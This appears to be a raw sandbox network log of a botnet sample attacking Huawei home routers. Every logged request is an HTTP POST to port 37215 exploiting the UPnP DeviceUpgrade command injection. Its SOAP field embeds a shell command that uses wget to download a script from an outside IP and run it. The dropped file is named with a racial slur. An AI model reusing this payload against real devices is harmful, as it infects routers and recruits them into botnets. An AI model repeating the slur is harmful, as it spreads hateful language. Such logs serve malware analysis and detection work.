Feb 19, 2024 18:37:17.829458952 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:23.972805023 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:36.002922058 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
160	192.168.2.23	60408	31.136.100.247	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:14.746488094 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:15.301754951 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:16.421627998 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:18.853302956 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:23.460709095 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:32.419398069 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
161	192.168.2.23	39996	31.136.77.191	37215

Timestamp	Bytes transferred	Direction	Data
